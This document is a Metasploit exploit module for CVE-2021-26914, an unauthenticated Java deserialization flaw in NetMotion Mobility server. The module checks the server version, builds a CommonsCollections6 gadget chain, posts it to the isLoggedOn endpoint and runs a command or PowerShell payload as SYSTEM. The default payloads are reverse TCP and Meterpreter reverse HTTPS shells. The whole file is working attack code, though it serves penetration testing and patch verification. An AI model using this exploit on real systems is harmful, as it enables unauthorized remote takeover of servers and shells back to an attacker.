## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::JavaDeserialization include Msf::Exploit::CmdStager include Msf::Exploit::Powershell def initialize(info = {}) super( update_info( info, 'Name' => 'NetMotion Mobility Server MvcUtil Java Deserialization', 'Description' => %q{ This module exploits an unauthenticated Java deserialization in the NetMotion Mobility server's MvcUtil.valueStringToObject() method, as invoked through the /mobility/Menu/isLoggedOn endpoint, to execute code as the SYSTEM account. Mobility server versions 11.x before 11.73 and 12.x before 12.02 are vulnerable. Tested against 12.01.09045 on Windows Server 2016. }, 'Author' => [ 'mr_me', # Discovery and PoC 'wvu' # Module ], 'References' => [ ['CVE', '2021-26914'], ['URL', 'https://ssd-disclosure.com/ssd-advisory-netmotion-mobility-server-multiple-deserialization-of-untrusted-data-lead-to-rce/'], ['URL', 'https://www.netmotionsoftware.com/security-advisories/security-vulnerability-in-mobility-web-server-november-19-2020'], ['URL', 'https://srcincite.io/advisories/src-2021-0007/'] ], 'DisclosureDate' => '2021-02-08', # Public disclosure 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => true, 'Targets' => [ [ 'Command', { 'Arch' => ARCH_CMD, 'Type' => :cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' } } ], [ 'Dropper', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :dropper, 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_https' } } ], [ 'PowerShell', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :psh, 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_https' } } ] ], 'DefaultTarget' => 2, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ IOC_IN_LOGS, # C:\Program Files\NetMotion Server\logs ARTIFACTS_ON_DISK # CmdStager ] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) ) unless (version = parse_version(res)) return CheckCode::Unknown('Failed to parse version from response.') end unless vuln_version?(version) return CheckCode::Safe("NetMotion Mobility #{version} is patched.") end CheckCode::Appears("NetMotion Mobility #{version} is unpatched.") end def parse_version(res) return unless res&.code == 200 # res.get_html_document.at('//img[@alt = "Mobility"]/@src').to_s[ %r{^/images/menu_logo\.png\?version=(?[\d.]+)$}, :version # Hat tip @adfoster-r7 ] end def vuln_version?(version) @vuln_versions ||= (11.0...11.73).step(0.01) + # 11.0 through 11.72 (12.0...12.02).step(0.01) # 12.0 through 12.01 @vuln_versions.include?(version.to_f) end def exploit print_status("Executing #{payload_instance.refname} (#{target.name})") case target['Type'] when :cmd execute_command(payload.encoded) when :dropper execute_cmdstager when :psh execute_command( cmd_psh_payload( payload.encoded, payload.arch.first, remove_comspec: true ) ) end end def execute_command(cmd, _opts = {}) # XXX: %Path% is otherwise *only* C:\Program Files\NetMotion Server cmd.prepend( 'set Path=%Path%;' \ 'C:\Windows\System32' \ ';' \ 'C:\Windows\System32\WindowsPowerShell\v1.0' \ '&&' ) print_status('Triggering deserialization') vprint_status("Executing command: #{cmd}") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/mobility/Menu/isLoggedOn'), 'vars_post' => { 'Mvc_x_Form_x_Name' => go_go_gadget(cmd) } ) unless res&.code == 200 && res.body == 'false' # If JSESSIONID is missing fail_with(Failure::PayloadFailed, 'Failed to trigger deserialization') end print_good('Successfully triggered deserialization') end def go_go_gadget(cmd) Rex::Text.encode_base64( Rex::Text.gzip( generate_java_deserialization_for_command( 'CommonsCollections6', 'cmd', # cmd.exe cmd ) ) ) end end